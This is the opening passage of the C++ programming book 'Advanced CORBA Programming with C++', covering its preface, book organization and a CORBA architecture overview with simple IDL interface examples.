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Review 

Here is the CORBA book that every C++ software engineer has been waiting for. 
Advanced CORBA® Programming with C++ provides designers and developers with the 
tools required to understand CORBA technology at the architectural, design, and source 
code levels. This book offers hands-on explanations for building efficient applications, as 
well as lucid examples that provide practical advice on avoiding costly mistakes. With 
this book as a guide, programmers will find the support they need to successfully 
undertake industrial-strength CORBA development projects. 
 
The content is systematically arranged and presented so the book may be used as both a 
tutorial and a reference. The rich example programs in this definitive text show CORBA 
developers how to write clearer code that is more maintainable, portable, and efficient. 
The authors’ detailed coverage of the IDL-to-C++ mapping moves beyond the mechanics 
of the APIs to discuss topics such as potential pitfalls and efficiency. An in-depth 
presentation of the new Portable Object Adapter (POA) explains how to take advantage 
of its numerous features to create scalable and high-performance servers. In addition, 
detailed discussion of advanced topics, such as garbage collection and multithreading, 
provides developers with the knowledge they need to write commercial applications. 
 
Other highlights:  
In-depth coverage of IDL, including common idioms and design trade-offs 
Complete and detailed explanations of the Life Cycle, Naming, Trading, and Event 
Services 
Discussion of IIOP and implementation repositories 
Insight into the dynamic aspects of CORBA, such as dynamic typing and the new 
DynAny interfaces 
Advice on selecting appropriate application architectures and designs 
Detailed, portable, and vendor-independent source code  
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Preface 

For years, both of us have been (and still are) teaching CORBA programming with C++ 
to software engineers all over the world. One of the most frequently asked questions in 
our courses is, "Where can I find a book that covers all this?" Although many books have 
been written about CORBA, most of them focus on high-level concepts and do not 
address the needs of software engineers. Even though CORBA is conceptually simple, 
the devil lies in the detail. Or, more bluntly, books focusing on high-level concepts are of 
little use when you must find out why your program is dumping core. 
 
To be sure, there are resources available about CORBA, such as newsgroups, Web pages, 
and the Object Management Group (OMG) specifications. However, none of them really 
meets the needs of a programmer who must get the code to work (and preferably by 
yesterday). We wrote this book so that there would finally be a tutorial and reference that 
covers CORBA programming with C++ at the level of detail required for real-life 
software development. (And, of course, we wrote it so that we would have a good answer 
for our students.) 
 
Writing such a book is a tall order. Explaining the CORBA specification and APIs is one 
thing, and it's a necessary part of the book. However, knowing the various APIs will not, 
by itself, make you a competent programmer (only a knowledgeable one). To be 
competent, you need not only knowledge of the mechanics of the platform but also an 
understanding of how the different features interact. You must combine them effectively 
to end up with an application that performs and scales well and is maintainable, 
extensible, portable, and deployable. 
 
To help you become competent (as opposed to merely knowledgeable), we go beyond the 
basics in a number of ways. For one thing, we provide advice as to what we consider 
good (and bad) design, and we make no attempt to hide problems with CORBA (which, 
like any other complex software system, has its share of wrinkles). Second, we go beyond 
the APIs by explaining some of CORBA's internal mechanisms. Even though you can use 
an ORB without knowing what goes on under the hood, it is useful to understand these 
mechanisms because they have a profound influence on how well (or how poorly) an 
application will perform. Third, we devote considerable space to a discussion of the 
merits of various design decisions; typically, when a design provides a gain in one area it 
also involves a loss in another. Understanding these trade-offs is crucial to building 
successful applications. And fourth, where appropriate, we make recommendations so 
that you are not left without guidance. 
 
Inevitably, our approach required us to make value judgments, and, just as inevitably, a 
number of people will disagree with at least some of the recommendations we make. 
Whether you agree or disagree with us, you should still profit from our approach: if you 
agree, you can stick to the advice we give; if you disagree, the discussion will have at 
least encouraged you to think about the topic and form your own opinion. Either way, 
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you are better off than you would be with a book that just dumps the facts on you without 
providing the deeper insight required to use them. 

Prerequisites 

This book is not a beginner's book, in the sense that we do not devote much space to 
explaining the structure of the OMG or the specification adoption process. We also do 
not provide a high-level overview of the architectural goals of CORBA or all its services 
and facilities (see [31] for a high-level overview). Instead, we assume that you want to 
know how to write real CORBA applications with C++. Despite the lack of overview 
material, you should be able to follow the material even if you have never seen CORBA 
before. If you have experience in network programming or have used another RPC 
platform, you will find it easy to pick things up as you go. 
 
Much of this book consists of source code, so we expect you to be literate in C++. 
However, you do not need to be a C++ guru to follow the code. We have avoided obscure 
or little-understood features of C++, preferring clarity to cleverness. If you understand 
inheritance, virtual functions, operator overloading, and templates (not necessarily in 
intricate detail), you will have no problems. Some of the source code uses the Standard 
Template Library (STL), which is now part of the ISO/IEC C++ Standard. We have 
limited ourselves to very simple uses of this library, so you should be able to understand 
the source code even if you have never seen STL code before. 
 
If you have never written threaded code, you will find the chapter on writing threaded 
servers tough going. Unfortunately, there was not enough room to provide an 
introduction to programming with threads. However, the Bibliography lists a number of 
excellent books on the topic. 
 
Despite our best efforts to show realistic and working source code, we had to make a 
number of compromises to keep code examples understandable and of manageable size. 
When we demonstrate a particular feature, we often use straight-line code, whereas in a 
realistic application the code would better be encapsulated in a class or helper function. 
We have also minimized error handling to avoid obscuring the flow of control with lots 
of exception handlers. We chose this approach for didactic purposes; it does not imply 
that the code pretends to reflect best possible engineering practice. (The Bibliography 
lists a number of excellent books that cover source code design in great detail.) 

Scope of this Book 

OMG members are continually improving CORBA and adding new features. As a result, 
available ORB implementations conform to different revision levels of the specification. 
This book covers CORBA 2.3. (At the time of writing, CORBA 2.3 is being finalized by 
the OMG.) Throughout the text, we indicate new features that may not yet be available in 
your ORB implementation; this allows you to restrict yourself to an earlier feature set for 
maximum portability. 
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Despite its size, our main regret is that this book is too short. Ever-increasing page counts 
and ever-closer deadlines forced us to drop chapters on the Dynamic Invocation Interface 
(DII), the Dynamic Skeleton Interface (DSI), and the Interface Repository (IFR). 
Fortunately, the vast majority of applications do not need those features, so dropping 
these chapters is not much of a loss. If your application happens to require the dynamic 
interfaces, the background we provide here will enable you to easily pick up what you 
need from the CORBA specification. 
 
Another feature notable by its absence is Objects-By-Value (OBV). We chose not to 
cover OBV because it is too new for anyone to have any substantial engineering 
experience with it. In addition, at the time of writing, there are still a number of technical 
wrinkles to be ironed out and we expect the OBV specification to undergo further 
changes before it settles down. 
 
Size and time limitations also meant that we could not cover every possible CORBA 
service. For example, we did not cover the Transaction Service or Security Service 
because each of them would require a book of its own. Rather than being complete, we 
have restricted ourselves to those services that are most essential for building applications: 
the Naming, Trading, and Event Services. We cover those services in more detail than 
any other publication we are aware of. 
 
An important part of this book is the presentation of the Portable Object Adapter (POA), 
which was added in CORBA 2.2. The POA provides the server-side source code 
portability that was missing from the (now deprecated) Basic Object Adapter. The POA 
also provides a number of features that are essential for building high-performance and 
scalable applications. We have therefore paid particular attention to showing you how to 
use the POA effectively in your designs. 
 
Overall, we believe this book offers the most comprehensive coverage to date of CORBA 
programming with C++. We have arranged the material so that you can use the book both 
as a tutorial and as a reference. Our hope is that after the first reading, you will have this 
book open at your side when you are sitting at your terminal. If so, we will have achieved 
our goal of creating a book that is used by real engineers to build real applications. 
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Chapter 1. Introduction 

1.1 Introduction 
1.2 Organization of the Book 
1.3 CORBA Version 
1.4 Typographical Conventions 
1.5 Source Code Examples 
1.6 Vendor Dependencies 
1.7 Contacting the Authors 

1.1 Introduction 

CORBA (Common Object Request Broker Architecture) is now well established in the 
mainstream of software development and has found phenomenal industry acceptance. 
CORBA is supported on almost every combination of hardware and operating system in 
existence. It is available from a large number of vendors (even as freeware), supports a 
large number of programming languages, and is now being used to create mission-critical 
applications in industries as diverse as health care, telecommunications, banking, and 
manufacturing. The increasing popularity of CORBA has created a corresponding 
increase in demand for software engineers who are competent in the technology. 
 
Naturally, CORBA has had to evolve and grow (sometimes painfully) to reach its current 
levels of popularity and deployment. When the first version of CORBA was published in 
1991, it specified how to use it only in C programs. This was a result of building CORBA 
from proven technology. At that time, most production-quality distributed systems were 
written in C. 
 
By 1991, object-oriented (OO) languages such as Smalltalk, C++, and Eiffel had been in 
use for years. Not surprisingly, many developers thought it strange that a language-
independent distributed OO system such as CORBA could be programmed only using C, 
a non-OO, procedural language. To correct this short-coming, several development 
groups at companies such as Hewlett-Packard, Sun Microsystems, HyperDesk 
Corporation, and IONA Technologies started developing their own proprietary mappings 
of CORBA to the C++ language. These proprietary mappings of CORBA to C++, all 
invented independently, differed in many ways. As most C++ programmers know, C++ is 
a multiparadigm language that supports varied approaches to application development, 
including structured programming, data abstraction, OO programming, and generic 
programming. The proprietary C++ mappings reflected this diversity; each of them 
mapped different CORBA data types and interfaces into different (sometimes very 
different) C++ types and classes. The mapping differences reflected not only the varied 
backgrounds of the developers but also the ways they intended to use CORBA to build 
systems as diverse as software integration middleware, operating systems, and even 
desktop tool kits. 
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When the Object Management Group (OMG) issued a Request For Proposals (RFP) for a 
standard mapping of CORBA to C++, these developers and other groups submitted their 
mappings to the standardization process. As is common for OMG RFP submissions, the 
submitting groups joined forces to try to reach consensus and arrive at a single C++ 
mapping specification that would draw from the strengths of all the submitted mappings. 
The process of producing a single standard C++ mapping for CORBA took 
approximately 18 months, lasting from the spring of 1993 until the fall of 1994. For 
technical reasons, such as the richness of C++ and its support for diverse programming 
styles, the consensus-building process was not an easy one. At one point, because of the 
competitive spirit and political nature of some of the parties involved (both characteristics 
are inevitable in any industry standards group), the C++ mapping standardization effort 
fell apart completely. However, the need for a standard C++ mapping eventually 
overcame all obstacles, and the standardization was completed in the fall of 1994. 
 
The C++ mapping was first published with CORBA 2.0. Since its adoption, the mapping 
has been revised several times to fix flaws and to introduce minor new functionality. 
Despite this, the mapping has remained surprisingly stable and portable even while the 
C++ language was undergoing its own standardization process. The standard C++ 
mapping removed a major obstacle to broad acceptance of CORBA because it created 
source code portability, at least for the client side. The server side still suffered from 
portability problems until CORBA 2.2. 
 
CORBA 2.0 also removed another major obstacle by providing the Internet Inter-ORB 
Protocol (IIOP). IIOP guarantees that system components developed for different 
vendors' ORBs can interoperate with one another, whereas before CORBA 2.0, different 
system components could communicate only if all of them used the same vendor's ORB. 
 
The C++ mapping and IIOP were key features that initiated CORBA's move into the 
mainstream and made it a viable technology for many commercial companies. This 
increased popularity of CORBA also meant an increased demand for extensions and bug 
fixes. As a result, the specification has been revised three times since the publication of 
CORBA 2.0. CORBA 2.1 was largely a cleanup release that addressed a number of 
defects. CORBA 2.2 added one major new feature: the Portable Object Adapter (POA). 
The POA, together with an update to the C++ mapping, removed the server-side 
portability problems that existed to that point. CORBA 2.3, the most recent release, as of 
this writing, fixed many minor bugs and added one major new feature, Objects-By-Value. 
 
The OMG has now grown to more than 800 members, making it the world's largest 
industry consortium, and CORBA has become the world's most popular and widely used 
middleware platform. In our estimation, C++ is the dominant implementation language 
for CORBA (although Java is making some inroads for client development). Demand for 
CORBA-literate C++ programmers continuously outstrips supply, and it seems likely that 
CORBA will remain the dominant middleware technology for at least several more years. 
This book is all about making you CORBA-literate and giving you the information you 
need to be able to write production-quality CORBA-based systems. 
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1.2 Organization of the Book 

The book is divided into six parts and two appendices. 
 
Part I, Introduction to CORBA, provides an overview of CORBA and presents the source 
code for a minimal CORBA application. After reading this part, you will know the basic 
architecture and concepts of CORBA, understand its object and request dispatch model, 
and know the basic steps required to build a CORBA application. 
 
Part II, Core CORBA, covers the core of CORBA with C++: the Interface Definition 
Language (IDL), the rules for mapping IDL into C++, how to use the POA, and how to 
support object life cycle operations. This part introduces the case study we use 
throughout this book; following each major section, we apply the material presented there 
to the case study so that you can see how the various features and Application 
Programming Interfaces (APIs) are used for a realistic application. After reading this part, 
you will be able to create sophisticated CORBA applications that exploit many CORBA 
features. 
 
Part III, CORBA Mechanisms, presents an overview of the CORBA networking 
protocols and shows the mechanisms that underpin CORBA's object model, such as 
location transparency and protocol independence. After reading this part, you will have a 
good idea of what goes on beneath the hood of an ORB and how design choices made by 
various vendors influence a particular ORB's scalability, performance, and flexibility. 
 
Part IV, Dynamic CORBA, covers dynamic aspects of CORBA: type any, type codes, 
and type DynAny. After reading this part, you will know how you can use these CORBA 
features to deal with values whose types are not known at compile time. This knowledge 
is essential for building generic applications, such as browsers or protocol bridges. 
 
Part V, CORBAservices, presents the most important CORBA services, namely the 
Naming, Trading, and Event Services. Almost all applications use one or more of these 
services. The Naming and Trading Services allow applications to locate objects of 
interest, whereas the Event Service provides asynchronous communication so that clients 
and servers can be decoupled from each other. After reading this part, you will 
understand the purpose of these services and you will be aware of the architectural 
consequences and trade-offs implied by their use. 
 
Part VI, Power CORBA, discusses how to develop multithreaded servers and presents a 
number of architectural and design issues that are important for building high-
performance applications. 
 
Appendix A shows the source code for an instrument control protocol simulator that 
you can use if you want to experiment with the source code in this book. 
 
Appendix B contains a list of useful resources you can use to get more information 
about various aspects of CORBA. 
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1.3 CORBA Version 

At the time of this writing, CORBA 2.3 is in the final stages of review, so this book 
describes CORBA as of revision 2.3. We try to point out when we use newer CORBA 
features in our examples in case those features are not yet supported by your particular 
ORB. We do not describe CORBA 3.0 because at the time of this writing (October 1998), 
CORBA 3.0 does not exist, even in draft form. 

1.4 Typographical Conventions 

This book uses the following typographical conventions: 
 
IDL source code appears in Lucida Sans Typewriter. 
C++ source code appears in Courier. 
File names (whether they contain IDL or C++ code) appear in Courier. 
UNIX commands appear in Courier Bold. 
 
IDL and C++ frequently use identical names, such as TypeCode and TypeCode. If you 
see a term in Lucida, it typically refers to the corresponding IDL construct; however, 
we also use Lucida when we use a term in its general, language-independent sense. If 
you see a term in Courier, it definitely refers to the corresponding C++ construct. 

1.5 Source Code Examples 

You can find the source code for the case study in this book at <http://www.awl. 
com/cseng/titles/0-201-37927-9>. Although we have made every effort to 
ensure that the code we present is correct, there may be bugs we have missed, so we 
cannot warrant the code as being fit for any particular use (although we would appreciate 
hearing from you if you find any bugs!). 
 
Keep in mind that in many code examples, we have made compromises in favor of clarity. 
For example, we have omitted industrial-strength error handling in order to keep 
examples short and to avoid losing the message in the noise. Similarly, the code examples 
are designed to be understandable by sight, so we often use in-line code where, for a 
well-engineered application, the same code would better be encapsulated in a function or 
class. In this sense, the source code does not always reflect best engineering practice. 
However, we point out style, design, and portability issues in many places. The 
Bibliography also lists a number of excellent books that cover such engineering issues. 
 
The source code was written for an ISO/IEC C++ Standard [9] environment and uses a 
number of ISO/IEC C++ features, such as namespaces and the C++ bool and string 
types. However, if you do not have access to a standard C++ compiler, you should find it 
easy to convert the code to whatever subset of C++ is available to you (although you will 
need at least C++ exception support). 
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In a number of examples, we have made simple use of the Standard Template Library 
(STL). You should be able to follow these examples even if you do not yet know STL. 
(However, if you are not familiar with STL, we strongly suggest that you acquaint 
yourself with this library as soon as possible. STL has made a greater contribution to C++ 
programmer productivity than any other ISO/IEC C++ feature.) 
 
We compiled and tested all of our example code against the next generation of the IONA 
Technologies Orbix product that, as of this writing, is still in development. This system, 
called ART, closely tracks ongoing changes to the CORBA specification and enabled us 
to verify our code against an ORB that conforms to the latest version (2.3) of the CORBA 
specification. 

1.6 Vendor Dependencies 

This book is free of vendor-dependent code and will work with any CORBA 2.3-
compliant ORB (that is, an ORB that provides a POA). If your ORB vendor does not 
provide a POA yet, do not despair—much of this book is concerned with things other 
than the POA, and you will find a lot of material that is useful even if you are using a pre-
CORBA 2.3 ORB. 
 
We do not explain common, but vendor-specific, extensions to CORBA. Doing so would 
have distracted from the standards focus of the book and would have cluttered the 
presentation with proprietary material that is useful only to a subset of readers (and 
subject to change without warning). If you are interested in using proprietary extensions, 
you still need to read your vendor's documentation. 
 
A number of aspects of CORBA, such as the development environment and 
implementation repositories, are not standardized at all. This makes it difficult to show 
concrete examples without choosing a specific vendor's implementation. In such cases, 
we show examples that use a hypothetical ORB and explain the principles in sufficient 
detail for you to be able to easily pick up the remaining details from your vendor's 
documentation. 

1.7 Contacting the Authors 

If you find any mistakes in the text or bugs in the code, we would like to hear from you. 
We would also like to hear from you if you have any other suggestions for improvement. 
If possible, we will integrate corrections and improvements in future printings and will 
acknowledge the first person to point out each particular correction or improvement. You 
can send e-mail to us at <http://corba@awl.com>. 
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Part I: Introduction to CORBA 
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Chapter 2. An Overview of CORBA 

2.1 Introduction 
2.2 The Object Management Group 
2.3 Concepts and Terminology 
2.4 CORBA Features 
2.5 Request Invocation 
2.6 General CORBA Application Development 
2.7 Summary 

2.1 Introduction 

Computer networks typically are heterogeneous. For example, the internal network of a 
small software company might be made up of multiple computing platforms. There might 
be a mainframe that handles transactional database access for order entry, UNIX 
workstations that supply hardware simulation environments and a software development 
backbone, personal computers that run Windows and provide desktop office automation 
tools, and other specialized systems such as network computers, telephony systems, 
routers, and measurement equipment. Small sections of a given network may be 
homogeneous, but the larger a network is, the more varied and diverse its composition is 
likely to be. 
 
There are several reasons for this heterogeneity. One obvious reason is that technology 
changes over time. Because networks tend to evolve rather than being built all at once, 
the best technologies from different time periods end up coexisting on the network. In 
this context, "best" may refer to qualities such as the lowest cost, the highest performance, 
the least expensive mass storage, the most transactions per minute, the tightest security, 
the flashiest graphics, or other qualities deemed important at the time of purchase. 
Another reason for network heterogeneity is that one size does not fit all. Any given 
combination of computer, operating system, and networking platform will work best for 
only a subset of the computing activities performed within a network. Still another reason 
is that diversity within a network can make it more resilient because any problems in a 
given machine type, operating system, or application are unlikely to affect other 
networked systems running different operating systems and applications. 
 
The factors that lead to heterogeneous computer networks are largely inevitable; thus, 
developers of practical distributed systems, whether they like it or not, must cope with 
heterogeneity. Whereas developing software for any distributed system is difficult, 
developing software for a heterogeneous distributed system sometimes borders on the 
impossible. Such software must deal with all the problems normally encountered in 
distributed systems programming, such as the failure of some of the systems in the 
network, partitioning of the network, problems associated with resource contention and 
sharing, and security-related risks. If you add heterogeneity to the picture, some of these 
problems become more acute, and new ones crop up. 
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For example, problems you encounter while porting a networked application for use on a 
new platform in the network may result in two or more versions of the same application. 
If you make any changes to any version of the application, you must go back and modify 
all the other versions appropriately and then test them individually and in their various 
combinations to make sure they all work properly. The degree of difficulty presented by 
this situation increases dramatically as the number of different platforms in the network 
rises. 
 
Keep in mind that heterogeneity in this context does not refer only to computing 
hardware and operating systems. Writing a robust distributed application from top to 
bottom—for example, from a custom graphical user interface all the way down to the 
network transports and protocols—is tremendously difficult for almost any real-world 
application because of the overwhelming complexity and the number of details involved. 
As a result, developers of distributed applications tend to make heavy use of tools and 
libraries. This means that distributed applications are themselves heterogeneous, often 
glued together from a number of layered applications and libraries. Unfortunately, in 
many cases, as the distributed system grows, the chance decreases dramatically that all 
the applications and libraries that compose it were actually designed to work together. 
 
At a very general level, you can tackle the problem of developing applications for 
heterogeneous distributed systems by following two key rules. 
 
Find platform-independent models and abstractions that you can apply to help solve a 
wide variety of problems. 
 
Hide as much low-level complexity as possible without sacrificing too much performance. 
These rules are general enough to be used to develop any portable application whether or 
not it is distributed. However, the additional complexities introduced by distribution 
make each rule carry more weight. Using the right abstractions and models can 
essentially provide a new homogeneous application development layer over the top of all 
the distributed heterogeneous complexity. This layer hides low-level details and allows 
application developers to solve their immediate problems without having to first solve the 
low-level networking details for all the diverse computing platforms used by their 
applications. 
 
The CORBA specification, written and maintained by the OMG, supplies a balanced set 
of flexible abstractions and concrete services needed to realize practical solutions for the 
problems associated with distributed heterogeneous computing. After describing the 
OMG and CORBA, the remainder of this chapter provides a high-level overview of the 
computing model, the components, and the important concepts of CORBA. 

2.2 The Object Management Group 

In 1989, the Object Management Group was formed to address the problems of 
developing portable distributed applications for heterogeneous systems. The OMG has 
received a tremendous amount of industry backing since then and is now the world's 
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largest software consortium, with more than 800 members. This is due in no small part to 
the skills that OMG participants have for specifying reasonable high-level abstractions 
that hide low-level details. In particular, the first key specifications produced by the 
OMG—the Object Management Architecture (OMA) and its core, the CORBA 
specification—provide a complete architectural framework that is both rich enough and 
flexible enough to accommodate a wide variety of distributed systems. 
 
The OMA uses two related models to describe how distributed objects and the 
interactions between them can be specified in platform-independent ways. The Object 
Model defines how the interfaces of objects distributed across a heterogeneous 
environment are described, and the Reference Model characterizes interactions between 
such objects. 
 
The Object Model defines an object as an encapsulated entity with an immutable distinct 
identity whose services are accessed only through well-defined interfaces. Clients use an 
object's services by issuing requests to the object. The implementation details of the 
object and its location are kept hidden from clients. 
 
The Reference Model provides interface categories that are general groupings for object 
interfaces. As Figure 2.1 shows, all interface categories are conceptually linked by an 
Object Request Broker (ORB). Generally, an ORB enables communication between 
clients and objects, transparently activating those objects that are not running when 
requests are delivered to them. The ORB also provides an interface that can be used 
directly by clients as well as objects. 

Figure 2.1 OMA interface categories. 

 
Figure 2.1 shows the interface categories that use the ORB's activation and 
communication facilities. 
 
Object Services are domain-independent, or horizontally oriented, interfaces used by 
many distributed object applications. For example, all applications must obtain references 
to the objects they intend to use. Both the OMG Naming Service and the OMG Trading 
Service [21] are object services that allow applications to look up and discover object 
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references. Object services are normally considered part of the core distributed 
computing infrastructure. 
 
Domain Interfaces play roles similar to those in the Object Services category except that 
domain interfaces are domain-specific, or vertically oriented. For example, there are 
domain interfaces used in health care applications that are unique to that industry, such as 
a Person Identification Service [28]. Other interfaces are specific to finance, 
manufacturing, telecommunications, and other domains. The multiple Domain Interface 
bubbles in Figure 2.1 indicate this multiplicity of domains. 
 
Application Interfaces are developed specifically for a given application. They are not 
standardized by the OMG. However, if certain application interfaces begin to appear in 
many different applications, they become candidates for standardization in one of the 
other interface categories. 
 
As the OMG gradually populates the interface categories, the bulk of its standardization 
efforts will shift upward from the ORB infrastructure and Object Services levels into 
domain-specific object frameworks. The object framework concept, illustrated in Figure 
2.2, builds from the interface categories just described, recognizing and promoting the 
notion that CORBA-based programs are composed of multiobject components supporting 
one or more of the OMA interface categories. Figure 2.2 represents these components 
as circles, some with only one interface category and others with multiple categories. 
Unfortunately, the term framework is overused in general, but used in this context it 
follows the classic definition of a software framework: a partial solution to a set of 
similar problems that requires application customization for completeness. The OMG is 
likely to standardize specifications for object frameworks for use in industries 
represented by its Domain Task Forces. 

Figure 2.2 OMA object frameworks. 

 
 

These models may not seem very complicated or profound, but their apparent simplicity 
is misleading. Many pages of this book, as well as other books, articles, and 
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specifications, are devoted to exploring the effects and consequences of these seemingly 
simple models, so this is all we will say about them for now. See [31] for more details 
about the OMA and the OMG. 

2.3 Concepts and Terminology 

CORBA provides platform-independent programming interfaces and models for portable 
distributed object-oriented computing applications. Its independence from programming 
languages, computing platforms, and networking protocols makes it highly suitable for 
the development of new applications and their integration into existing distributed 
systems. 
 
Like all technologies, CORBA has unique terminology associated with it. Although some 
of the concepts and terms are borrowed from similar technologies, others are new or 
different. Understanding these terms and the concepts behind them is key to having a 
firm grasp of CORBA itself. The most important terms in CORBA are explained in the 
following list. 
 
A CORBA object is a "virtual" entity capable of being located by an ORB and having 
client requests invoked on it. It is virtual in the sense that it does not really exist unless it 
is made concrete by an implementation written in a programming language. The 
realization of a CORBA object by programming language constructs is analogous to the 
way virtual memory does not exist in an operating system but is simulated using physical 
memory. 
 
A target object, within the context of a CORBA request invocation, is the CORBA object 
that is the target of that request. The CORBA object model is a single-dispatching model 
in which the target object for a request is determined solely by the object reference used 
to invoke the request. 
 
A client is an entity that invokes a request on a CORBA object. A client may exist in an 
address space that is completely separate from the CORBA object, or the client and the 
CORBA object may exist within the same application. The term client is meaningful only 
within the context of a particular request because the application that is the client for one 
request may be the server for another request. 
 
A server is an application in which one or more CORBA objects exist. As with clients, 
this term is meaningful only in the context of a particular request. 
 
A request is an invocation of an operation on a CORBA object by a client. Requests flow 
from a client to the target object in the server, and the target object sends the results back 
in a response if the request requires one. 
 
An object reference is a handle used to identify, locate, and address a CORBA object. To 
clients, object references are opaque entities. Clients use object references to direct 
requests to objects, but they cannot create object references from their constituent parts, 
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nor can they access or modify the contents of an object reference. An object reference 
refers only to a single CORBA object. 
 
A servant is a programming language entity that implements one or more CORBA 
objects. Servants are said to incarnate CORBA objects because they provide bodies, or 
implementations, for those objects. Servants exist within the context of a server 
application. In C++, servants are object instances of a particular class. 
 
The definitions of these terms will be refined in later chapters, but these definitions will 
be sufficient for understanding the CORBA features described in the next section. 

2.4 CORBA Features 

This section provides an overview of the following major features of CORBA: 
OMG Interface Definition Language 
Language mappings 
Operation invocation and dispatch facilities (static and dynamic) 
Object adapters 
Inter-ORB Protocol 
 
Figure 2.3 shows the relationships between most of these CORBA features, which we 
describe in the following sections. Later chapters cover each feature in much greater 
detail. 

Figure 2.3 Common Object Request Broker Architecture (CORBA). 

 

2.4.1 General Request Flow 

In Figure 2.3, the client application makes requests and the server application receives 
them and acts on them. Requests flow down from the client application, through the ORB, 
and up into the server application in the following manner. 
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The client can choose to make requests either using static stubs compiled into C++ from 
the object's interface definition (see Section 2.4.2) or using the Dynamic Invocation 
Interface (DII) (see Section 2.4.4). Either way, the client directs the request into the 
ORB core linked into its process. 
 
The client ORB core transmits the request to the ORB core linked with the server 
application. 
 
The server ORB core dispatches the request to the object adapter (see Section 2.4.5) 
that created the target object. 
 
The object adapter further dispatches the request to the servant that is implementing the 
target object. Like the client, the server can choose between static and dynamic 
dispatching mechanisms for its servants. It can rely on static skeletons compiled into C++ 
from the object's interface definition, or its servants can use the Dynamic Skeleton 
Interface (DSI). 
 
After the servant carries out the request, it returns its response to the client application. 
CORBA supports several styles of requests. 
 
When a client invokes a synchronous request, it blocks while it waits for the response. 
These requests are identical to remote procedure calls. 
 
A client that invokes a deferred synchronous request sends the request, continues 
processing, and then later polls for the response. Currently, this style of request can be 
invoked only using the DII. 
 
CORBA also provides a oneway request, which is a best-effort request that may not 
actually be delivered to the target object and is not allowed to have responses. ORBs are 
allowed to silently drop oneway requests if network congestion or other resource 
shortages would cause the client to block while the request was delivered. 
 
A future version of CORBA (very likely version 3.0) will also support asynchronous 
requests that can be used to allow occasionally connected clients and servers to 
communicate with one another. It will also add support for making deferred synchronous 
calls using static stubs as well as the DII. 
 
The next few sections describe the CORBA components required to make requests and to 
get responses. 

2.4.2 OMG Interface Definition Language 

To invoke operations on a distributed object, a client must know the interface offered by 
the object. An object's interface is composed of the operations it supports and the types of 
data that can be passed to and from those operations. Clients also require knowledge of 
the purpose and semantics of the operations they want to invoke. 
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In CORBA, object interfaces are defined in the OMG Interface Definition Language 
(IDL). Unlike C++ or Java, IDL is not a programming language, so objects and 
applications cannot be implemented in IDL. The sole purpose of the IDL is to allow 
object interfaces to be defined in a manner that is independent of any particular 
programming language. This arrangement allows applications implemented in different 
programming languages to interoperate. The language independence of IDL is critical to 
the CORBA goal of supporting heterogeneous systems and the integration of separately 
developed applications. 
 
OMG IDL supports built-in simple types, such as signed and unsigned integer types, 
characters, Boolean, and strings, as well as constructed types such as enumerated types, 
structures, discriminated unions, sequences (one-dimensional vectors), and exceptions. 
These types are used to define the parameter types and return types for operations, which 
in turn are defined within interfaces. IDL also provides a module construct used for name 
scoping purposes. 
 
The following example shows a simple IDL definition: 
       
interface Employee { 
   long number(); 
}; 
 
      
This example defines an interface named Employee that contains an operation named 
number. The number operation takes no arguments and returns a long. A CORBA 
object supporting the Employee interface is expected to implement the number 
operation to return the number of the employee represented by that object. 
 
Object references are denoted in IDL by using the name of an interface as a type. For 
example: 
       
interface EmployeeRegistry { 
    Employee lookup(in long emp_number); 
}; 
 
      
The lookup operation of the EmployeeRegistry interface takes an employee 
number as an input argument and returns an object reference of type Employee that 
refers to the employee object identified by the emp_number argument. An application 
could use this operation to retrieve an Employee object and then use the returned object 
reference value to invoke Employee operations. 
 
Arguments to IDL operations must have their directions declared so that the ORB knows 
whether their values should be sent from client to target object, vice versa, or both. In the 
definition of the lookup operation, the keyword in signifies that the employee number 
argument is passed from the client to the target object. Arguments can also be declared 
out to indicate that, like return values, they are passed from the target object back to the 
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client. The inout keyword indicates an argument that is initialized by the client and 
then sent from the client to the target object; the object can modify the argument value 
and return the modified value to the client. 
 
A key feature of IDL interfaces is that they can inherit from one or more other interfaces. 
This arrangement allows new interfaces to be defined in terms of existing ones, and 
objects implementing a new derived interface can be substituted where objects supporting 
the existing base interfaces are expected. For example, consider the following Printer 
interfaces: 
       
interface Printer { 
    void print(); 
}; 
interface ColorPrinter : Printer { 
    enum ColorMode { BlackAndWhite, FullColor }; 
    void set_color(in ColorMode mode); 
}; 
 
      
The ColorPrinter interface is derived from the Printer interface. If a client 
application is written to deal with objects of type Printer, it can also use an object 
supporting the ColorPrinter interface because such objects also fully support the 
Printer interface. 
 
IDL provides one special case of inheritance: all IDL interfaces implicitly inherit from 
the Object interface defined in the CORBA module. This special base interface supplies 
operations common to all CORBA objects. 

2.4.3 Language Mappings 

Because OMG IDL is a declarative language, it cannot be used to write actual 
applications. It provides no control constructs or variables, so it cannot be compiled or 
interpreted into an executable program. It is suitable only for declaring interfaces for 
objects and defining the data types used to communicate with objects. 
 
Language mappings specify how IDL is translated into different programming languages. 
For each IDL construct, a language mapping defines which facilities of the programming 
language are used to make the construct available to applications. For example, in C++, 
IDL interfaces are mapped to classes, and operations are mapped to member functions of 
those classes. Similarly, in Java, IDL interfaces are mapped to public Java interfaces. 
Object references in C++ map to constructs that support the operator-> function (that 
is, either a pointer to a class or an object of a class with an overloaded operator-> 
member function). Object references in C, on the other hand, map to opaque pointers (of 
type void *), and operations are mapped to C functions that each require an opaque 
object reference as the first parameter. Language mappings also specify how applications 
use ORB facilities and how server applications implement servants. 
 



IT-SC book: Advanced CORBA® Programming with C++ 

 33

OMG IDL language mappings exist for several programming languages. As of this 
writing, the OMG has standardized language mappings for C, C++, Smalltalk, COBOL, 
Ada, and Java. Other language mappings exist as well—for example, mappings have also 
been independently defined for languages such as Eiffel, Modula 3, Perl, Tcl, 
Objective—C, and Python--but at this time they have not been standardized by the OMG. 
IDL language mappings are critical for application development. They provide concrete 
realizations of the abstract concepts and models supplied by CORBA. A complete and 
intuitive language mapping makes it straightforward to develop CORBA applications in 
that language; conversely, a poor, incomplete, or ineffective language mapping seriously 
hampers CORBA application development. Official OMG language mapping 
specifications therefore undergo periodic revision and improvement to ensure their 
effectiveness. 
 
The existence of multiple OMG IDL language mappings means that developers can 
implement different portions of a distributed system in different languages. For example, 
a developer might write a high-throughput server application in C++ for efficiency and 
write its clients as Java applets so that they can be downloaded via the Web. The 
language independence of CORBA is key to its value as an integration technology for 
heterogeneous systems. 

2.4.4 Operation Invocation and Dispatch Facilities 

CORBA applications work by receiving requests or by invoking requests on CORBA 
objects. When the OMG originally issued its RFP for the technologies that eventually 
became the CORBA specification, two general approaches to request invocation were 
submitted. 
 
